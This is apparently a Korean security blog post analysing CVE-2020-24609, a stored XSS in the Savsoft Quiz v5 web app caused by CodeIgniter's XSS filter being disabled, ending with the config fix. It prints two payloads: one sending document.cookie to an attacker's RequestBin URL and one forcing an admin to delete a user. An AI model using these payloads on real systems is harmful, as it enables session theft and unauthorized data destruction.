1. 개요
CVE 코드 |
CVE – 2020 -24609 |
분류 |
Stored XSS (Cross Site Scripting) |
대상 어플리케이션 |
savsoftquiz_v5 |
취약 코드 |
application\config\config.php |
실행 환경 |
Apache 2.0 / Windows 7 x64 / Codeigniter Web Framework |
퀴즈를 제공하여 사용자에게 수익을 얻는 플랫폼이다.
Codeigniter Web Framework를 기반으로 만들어졌다. Codeigniter에서 제공하는 XSS필터링 기능을 사용하지 않아 XSS 문제가 발생하였다.
공격자는 악성스크립트를 삽입하여 쿠키, 세션 탈취, DBD 공격을 유도할 수 있다.
XSS공격이란 권한 없는 사용자가 웹사이트에 스크립트를 삽입하는 공격 기법이다.
공격에 성공하게 되면 사용자들은 악성스크립트가 삽입된 페이지에 접근했을 때 스크립트가 실행되어 쿠키나 세션 탈취, 악성 홈페이지 접속, DBD 유도 등의 피해를 입을 수 있다.
자주 쓰이는 공격 방법은 Stored와 Reflected가 있다.
Stored XSS
웹사이트 게시판이나 특정 페이지에 스크립트를 삽입하는 공격 방식이다.
악성스크립트가 삽입된 페이지를 로드하면 스크립트가 실행된다.
공격자는 XSS가 동작하는 URL에 악성스크립트를 삽입하고 노출시킨다.
사용자가 해당 URL을 서버에 전송하면 서버는 정확한 결과가 없어 결과를 처리하지 못하고 악성스크립트를 응답페이지에 포함하여 사용자에게 돌려준다.
2. 상세분석
2.1. 발생 원리
Codeigniter Web Framework는 자체 XSS필터 기능을 제공한다.
Global_xss_filtering값이 FALSE로 설정되어 있어 XSS가 발생 하였다.
Name에 악성스크립트 삽입 시 admin 대쉬보드 첫 페이지에 악성 스크립트가 등록된다.
2.2 취약점 확인
Stored XSS 취약점을 이용하여 admin의 세션 쿠키을 탈취할 것이다.
쿠키 값을 받아오기 위해 RequestBin사이트를 이용했다.
ReuestBin은 온라인 기방의 웹 훅 요청 데이터 확인 도구이다.
간단하게 URL를 생성하고 해당 URL을 이용하여 데이터를 가져올 수 있다.
ReuestBin 이용하여 생성한 URL에 쿠기 데이터를 전송하여 쿠키를 탈취해 온다.
가입창에 악성 스크립트를 삽입한다.
스크립트 :
<script>window.location.href="내 RequestBin URL/?cookie="+document.cookie</script>
admin으로 대쉬보드에 로그인 한다.
스크립트가 실행됐으나 Cookie옵션이 HttpOnly기 때문에 쿠기 탈취가 불가능했다.
XSS를 이용하여 CSRF 공격을 시도하였다.
공격자는 6번을 삭제를 목표로 CSRF 공격을 시도한다.
Admin은 의도치 않게 6번을 삭제하는 URL를 실행시킨다.
스크립트 :
<script>window.location.href="http://192.168.0.132/savsoftquiz/index.php/user/remove_user/6"</script>
성공적으로 스크립트가 실행되었다.
3.대응 방안
config.php에 global_xss_filtering을 TRUE로 바꾼다.
적용 후
4. 참고자료
- Savsoft Quiz 5
https://github.com/savsofts/savsoftquiz_v5.git
- Exploit-DB
https://www.exploit-db.com/exploits/48753
- CodeIgniter
https://www.codeigniter.com/userguide3/index.html
'취약점 분석 > CVE' 카테고리의 다른 글
[CVE] CVE-2020-8547 취약점 분석 - loose conparison (0) | 2020.11.16 |
---|---|
[CVE] CVE-2018-6015 취약점 분석 - Information Disclosure (0) | 2020.11.11 |
[CVE] CVE-2020-11530 취약점 분석 - Blind SQL Injection (0) | 2020.09.29 |